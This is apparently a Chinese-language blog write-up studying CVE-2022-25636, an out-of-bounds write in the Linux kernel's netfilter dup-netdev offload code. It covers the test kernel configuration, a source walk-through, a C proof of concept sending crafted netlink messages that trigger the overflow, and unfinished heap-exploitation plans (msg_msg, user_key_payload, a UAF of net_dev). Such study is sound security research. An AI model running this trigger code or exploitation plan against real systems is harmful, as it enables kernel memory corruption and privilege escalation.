CVE-2022-25636


环境搭建

version:5.15.0

commit:8bb7eca972ad531c9b149c0a51ab43a417385813

config:

defconfig+:

CONFIG_USER_NS=y
CONFIG_SECURITY_SELINUX_DISABLE=y
# for debug
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_DEBUG_INFO_DWARF4=y
# for msg_msg copy
CONFIG_CHECKPOINT_RESTORE=y
# for syzkaller image
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y

CONFIG_SLAB_FREELIST_RANDOM=n
CONFIG_SLAB_FREELIST_HARDENED=n
CONFIG_SHUFFLE_PAGE_ALLOCATOR=n
CONFIG_HARDENED_USERCOPY=n
CONFIG_FORTIFY_SOURCE=n
CONFIG_STATIC_USERMODEHELPER=n
CONFIG_DEBUG_INFO_NONE=n
CONFIG_RANDOMIZE_BASE=n

CONFIG_DEBUG_INFO=y #调试

CONFIG_NF_TABLES=y
CONFIG_NFT_DUP_NETDEV=y
CONFIG_NF_DUP_NETDEV=y #漏洞模块
CONFIG_SECURITY=y #才会释放 msg_msg->security 指针
CONFIG_BINFMT_MISC=y #否则启动VM时报错
CONFIG_USER_NS=y

CONFIG_E1000=y
CONFIG_E1000E=y

CONFIG_NF_TABLES_NETDEV=y #初始化chain_type
CONFIG_NF_TABLES_INET=y #初始化chain_type

漏洞分析

源码分析

这是一个漏洞的越界写,其源码中的位置是:https://elixir.bootlin.com/linux/v5.15/source/net/netfilter/nf_dup_netdev.c#L67

这个函数在这里被调用:

我们希望的是expr类型为nft_dup_detdev_ops,这样在下面的函数中就能间接调用到我们的目标函数:

注意这个expr_type的那么是”dup“:

下面让我们分析其过程,其关键的调用函数是nft_flow_rule_create,https://elixir.bootlin.com/linux/v5.15/source/net/netfilter/nf_tables_offload.c#L87:

整个函数可以分为4部分:

  1. 首先根据expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION来计算局部变量num_actions
  2. 然后分配flow,并在里边分配flow->rule,其大小是根据局部变量num_actions决定的;
  3. 分配ctx,注意到是kzalloc因此ctx->num_actions最开始是0;
  4. 最后是循环调用函数,也就是我们的漏洞函数,注意每次循环中ctx->num_actions会+1;

相关数据结构

注意flowrule的分配行为:

然后看flow_rule_alloc函数是如何分配rule的:

相关数据结构如下:

因此整个分配的结构如下:

成因总结

触发漏洞

首先看调用链:

nf_tables_newrule->nft_flow_rule_create

之前在笔者的nf_tables的分析中给出了rule的分配方法,因此在nlmsg_hdr->nlmsg_type == (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE就可以进入到nf_tables_newrule函数;

然后添加NFTA_RULE_TABLENFTA_RULE_CHAIN就可以实现rule的分配:

之后对chain->flags有要求:

可以看到这里有对chain的flags的设置:https://elixir.bootlin.com/linux/v5.15/source/net/netfilter/nf_tables_api.c#L2453

这里注意到在nf_tables_newchain函数最后调用了nf_tables_addchain函数发生了错误:https://elixir.bootlin.com/linux/v5.15/source/net/netfilter/nf_tables_api.c#L2084

第一个检查:

如果else了,NFT_CHAIN_HW_OFFLOAD会直接error:

经过分析+调试发现,我们需要在创建chain的时候添加HOOK,使之创建的是一个base_chain,这里需要添加CONFIG_NF_TABLES_INET保证chain_type数组对应的项被初始化,netlink构造如下:

有了前面创建的base_chain,我们可以很容易走到nft_flow_rule_create函数,下面就是考虑如何构造rule的expr的问题了,还是看源码,首先是在这里构造expr https://elixir.bootlin.com/linux/v5.15/source/net/netfilter/nf_tables_api.c#L3358

首先要分配一个expr_info数组;

然后每一个子attr都是NFTA_LIST_ELEM类型的,然后就是进入到nf_tables_expr_parse函数中进行分析:https://elixir.bootlin.com/linux/v5.15/source/net/netfilter/nf_tables_api.c#L2687

可以看到

expr_type的获取代码如下:

后续调试发现,本漏洞涉及的是一个特定的设备,因此family要设置成5;

然后创建base_chain的时候host_num要设置成0,这样才能和family为5的type的mask对上,(这么说netdev那个config是必须的,ipv4不是必须的🤔)

之后在如下地方遇到问题:

因此还需要有一个NFTA_HOOK_DEV的项:

这个项应该就是一个string,但是要在__dev_get_by_name函数中被找到:

随便搞一个name进去调试看看:

现在有了如下msg:

新的问题是可以成功创建一个chain,但是不知道为啥会有错误,然后到了netlink处理函数中把笔者刚刚创建的chain给释放了,目前处理的办法是,把添加rule的消息也放到同一个netlink批处理消息中:

经过调整发现,NFTA_EXPR_NAME要8字节对齐,才能添加新的attr,此时我们再添加如下attr即可成功走到函数nft_flow_rule_create:

但是卡在了这个flags上:

这个flags始终是0;🤔

发现只有immediate类型的expr才有这个flag:

(注意要将immediate后边的0该改成真0)

最终可以实现越界写的一个poc:

其原理是一个immediate类型的expr保证num_actions不为0,然后发现此时的漏洞cache是kmalloc-128,每个action的大小是0x50,写id的偏移是0x20,写dev的偏移是0x38;

因此要有2个dup的expr可以越界写dev,三个dup的expr才可以越界写id,id==5;

这里很奇怪,dup的expr在检查的时候要看一个设备,设备的ifindex需要是1才能匹配成功,但是这个参数却是immediate那个expr的NFTA_DATA_VALUE用小端序传递进去的,就很不理解;

关键代码如下:(需要事先创建一个名为”my_table”的table)

void pwn(int sock){
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[4];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();

int nlh_payload_size = 64; //消息体的大小;
nlh_payload_size = NLMSG_SPACE(nlh_payload_size); //整个nlmsghdr的大小
printf("nlh_payload_size == %d\n", nlh_payload_size);

/* Netlink table message preparation */
nlh = (struct nlmsghdr *)malloc(nlh_payload_size); //这里分配的是整个nlmsghdr的空间
if (!nlh)
do_error_exit("malloc");


memset(nlh, 0, nlh_payload_size);
nlh->nlmsg_len = nlh_payload_size;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWCHAIN;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;

/*
{
"NFTA_CHAIN_TABLE":"my_table",
"NFTA_CHAIN_NAME":"my_chain",
"NFTA_CHAIN_FLAGS":2,
"NFTA_CHAIN_HOOK":{
"NFTA_HOOK_HOOKNUM":0,
"NFTA_HOOK_PRIORITY":1,
"NFTA_HOOK_DEV":"sit0"
}
}
*/
uint8_t msgcon[] = {5,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,3,0,109,121,95,99,104,97,105,110,8,0,10,0,0,0,0,2,28,0,4,0,8,0,1,0,0,0,0,0,8,0,2,0,0,0,0,1,8,0,3,0,115,105,116,48};
memcpy((void *)nlh+0x10, msgcon, 64);

int pay2_size = 172;
int nlh2_size = NLMSG_SPACE(pay2_size);
struct nlmsghdr *nlh2 = (struct nlmsghdr *)malloc(nlh2_size);

memset(nlh2, 0, nlh2_size);
nlh2->nlmsg_len = nlh2_size;
nlh2->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
nlh2->nlmsg_pid = getpid();
nlh2->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
nlh2->nlmsg_seq = 0;

/*
{
"NFTA_RULE_TABLE":"my_table",
"NFTA_RULE_CHAIN":"my_chain",
"NFTA_RULE_EXPRESSIONS":{
"NFTA_LIST_ELEM":{
"NFTA_EXPR_NAME":"immediate000",
"NFTA_EXPR_DATA":{
"NFTA_IMMEDIATE_DREG":1,
"NFTA_IMMEDIATE_DATA":{
"NFTA_DATA_VALUE":"AAAA"
}
}
}
}
}
*/

/*
{
"NFTA_RULE_TABLE":"my_table",
"NFTA_RULE_CHAIN":"my_chain",
"NFTA_RULE_EXPRESSIONS":{
"NFTA_LIST_ELEM":{
"NFTA_EXPR_NAME":"immediate",
"NFTA_EXPR_DATA":{
"NFTA_IMMEDIATE_DREG":1,
"NFTA_IMMEDIATE_DATA":{
"NFTA_DATA_VALUE":16777216
}
}
},
"NFTA_LIST_ELEM@1":{
"NFTA_EXPR_NAME@1":"dup",
"NFTA_EXPR_DATA@1":{
"NFTA_IMMEDIATE_DREG@1":1,
"NFTA_DUP_SREG_DEV@1":1
}
},
"NFTA_LIST_ELEM@2":{
"NFTA_EXPR_NAME@2":"dup",
"NFTA_EXPR_DATA@2":{
"NFTA_IMMEDIATE_DREG@2":1,
"NFTA_DUP_SREG_DEV@2":1
}
},
"NFTA_LIST_ELEM@3":{
"NFTA_EXPR_NAME@2":"dup",
"NFTA_EXPR_DATA@2":{
"NFTA_IMMEDIATE_DREG@2":1,
"NFTA_DUP_SREG_DEV@2":1
}
}
}
}

*/

uint8_t msg2[] = {5,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,99,104,97,105,110,144,0,4,0,44,0,1,0,16,0,1,0,105,109,109,101,100,105,97,116,101,0,0,0,24,0,2,0,8,0,1,0,0,0,0,1,12,0,2,0,8,0,1,0,1,0,0,0,32,0,1,0,8,0,1,0,100,117,112,0,20,0,2,0,8,0,1,0,0,0,0,1,8,0,2,0,0,0,0,1,32,0,1,0,8,0,1,0,100,117,112,0,20,0,2,0,8,0,1,0,0,0,0,1,8,0,2,0,0,0,0,1,32,0,1,0,8,0,1,0,100,117,112,0,20,0,2,0,8,0,1,0,0,0,0,1,8,0,2,0,0,0,0,1};
memcpy((void *)nlh2+0x10, msg2, pay2_size);

/*
{
"NFTA_RULE_TABLE":"my_table",
"NFTA_RULE_CHAIN":"my_chain",
"NFTA_RULE_EXPRESSIONS":{
"NFTA_LIST_ELEM":{
"NFTA_EXPR_NAME":"dup",
"NFTA_EXPR_DATA":{
"NFTA_IMMEDIATE_DREG":1,
"NFTA_DUP_SREG_DEV":1
}

}
}
}

*/


/* Netlink batch_end message preparation */
nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh;
iov[1].iov_len = nlh->nlmsg_len;
iov[2].iov_base = (void *)nlh2;
iov[2].iov_len = nlh2->nlmsg_len;
iov[3].iov_base = (void *)nlh_batch_end;
iov[3].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 4;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh);
free(nlh_batch_begin);
}

漏洞利用

我们的漏洞就是能越界写dev和id:

写的结构体是kmalloc-128;

每次递增0x50;

id的偏移是0x20;-> 0x20, 0x70, 0xa0/0x20;

dev的偏移是0x38;->0x38->0x88/0x8->0x58->0xa8/0x28

调试技巧:

b nft_fwd_dup_netdev_offload

内存噪声分析:

释放一个obj之后的freelist如下:

结果发现分配的entries是这样的:

说明有一个分配噪声;

释放两个obj的情况如下:

但是这个dev是来自slab的内存,因此不能直接越界写到pgv里:

方法二

学习使用msg_msg->security构造net_dev的uaf,然后劫持控制流,uaf之后可以使用setxattr占位,因此这个net_dev是一个用户可控的地址,所以我们需要提前泄露:

  1. 堆风水:rule_flow,user_key_payload,msg_msg
  2. oob:此时在user_key_payload中会有net_dev的残留,msg_msg->security会被覆盖为net_dev;
  3. 读key泄露地址;
  4. 释放msg_smg,构造uaf的net_dev;
  5. setxattr占位net_dev并伪造结构;
  6. exit退出,控制流劫持;//不会劫持控制流,以后在学

方法三

这里搞一个EOE的方法,只泄露地址;

msg_msg的结构如下:

1749584518529

可以看到m_ts的偏移是0x18:

1749584545405

dev的偏移是0x38;->0x38->0x88/0x8->0x58->0xa8/0x28->0x78->0xc8/0x8

所以达不到目标;

参考

https://blog.csdn.net/panhewu9919/article/details/128308580

https://github.com/chenaotian/CVE-2022-25636?tab=readme-ov-file

https://www.openwall.com/lists/oss-security/2022/02/21/2

https://mp.weixin.qq.com/s/a9FoNK8kzckhRfcKPAvqEg

https://v3rdant.cn/Pwn.Linux-Kernel-Pwn-All-in-One/


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录